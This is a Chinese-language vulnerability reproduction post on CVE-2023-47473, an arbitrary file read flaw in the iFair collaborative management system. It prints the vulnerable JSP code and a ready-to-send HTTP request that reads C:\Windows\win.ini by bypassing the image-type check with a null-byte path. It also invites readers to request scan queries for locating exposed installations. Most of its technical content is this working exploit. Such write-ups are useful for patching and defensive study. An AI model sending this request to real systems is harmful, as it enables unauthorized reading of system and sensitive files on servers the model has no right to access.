[漏洞复现] CVE-2023-47473 企语iFair协同管理系统 任意文件读取
2024-1-4 08:31:21 Author: 不够安全(查看原文) 阅读量:61 收藏

本人非原创漏洞作者,文章仅作为知识分享用

一切直接或间接由于本文所造成的后果与本人无关

如有侵权,联系删除

产品简介

企语iFair协同管理系统是一款专业的协同办公软件,该管理系统兼容性强,适合多种企业类型。该软件永久免费,绿色安全,无需收取费用即可使用所有功能。企语iFair协同管理系统同时兼容了Linux、Windows两种操作系统,用户可以根据自己需求进行安装使用。

开发语言:Java官网地址:http://www.fuwushe.org/

空间测绘

回复“CVE-2023-47473”获取空间测绘语句

漏洞描述

fuwushe.org iFair 版本 23.8_ad0 及之前版本中的目录遍历漏洞允许攻击者通过精心设计的脚本获取敏感信息。

影响版本

企语iFairv 23.8_ad0

漏洞代码

官网可以下载exe一键安装运行,原理很简单,就不做详细分析了,漏洞源代码如下:

<%    String imageURL = request.getParameter("imageURL");    System.out.println(imageURL);    if (!ValidateUtil.isNull(imageURL)) {        try {            String fileName = StringUtil.getFileName(imageURL);            String fileType = StringUtil.getFileType(fileName, "unkown");            if ("gif".equals(fileType) || "png".equals(fileType) || "bmp".equals(fileType) || "jpg".equals(fileType) || "jpeg".equals(fileType)) {
} else { return; } response.setCharacterEncoding("UTF-8"); response.resetBuffer(); response.setContentType("image/jpeg"); File uploadedFile = new File(imageURL); DataInputStream is = new DataInputStream(new FileInputStream(uploadedFile)); DataOutputStream os = new DataOutputStream(response.getOutputStream()); byte[] readBytes = new byte[128]; int buffflag = -1; while ((buffflag = is.read(readBytes)) > -1) { os.write(readBytes, 0, buffflag); } os.close(); is.close(); os = null; response.flushBuffer(); out.clear(); out = pageContext.pushBody(); } catch (UnsupportedEncodingException e) { e.printStackTrace(); } catch (FileNotFoundException e) { e.printStackTrace(); } catch (IOException e) { } }%>

漏洞利用

GET /oa/common/components/upload/getuploadimage.jsp?imageURL=C:\Windows\win.ini%001.png HTTP/1.1Host: 192.168.182.138:8080Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.5758.195 Safari/537.36 OPR/100.0.2916.45Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9Cookie: JSESSIONID=11324C3BF3D3A2D6EDD273C373AF7A65Connection: close

参考链接

https://nvd.nist.gov/vuln/detail/CVE-2023-47473https://github.com/THMOAS0/SSR123/blob/main/%E4%BC%81%E8%AF%ADiFair%20Any%20file%20read.pdf

回复“CVE-2023-47473”获取空间测绘语句


文章来源: http://mp.weixin.qq.com/s?__biz=Mzg2OTYzNTExNQ==&mid=2247484695&idx=1&sn=ee81dd6d3a2760d0628359030b87ca86&chksm=cfcc4e0c9fd1a8eec5c1fd8737fd4d210e1a62297d824e02745e972566b7f68f82142dec7bfd&scene=0&xtrack=1#rd
如有侵权请联系:admin#unsafe.sh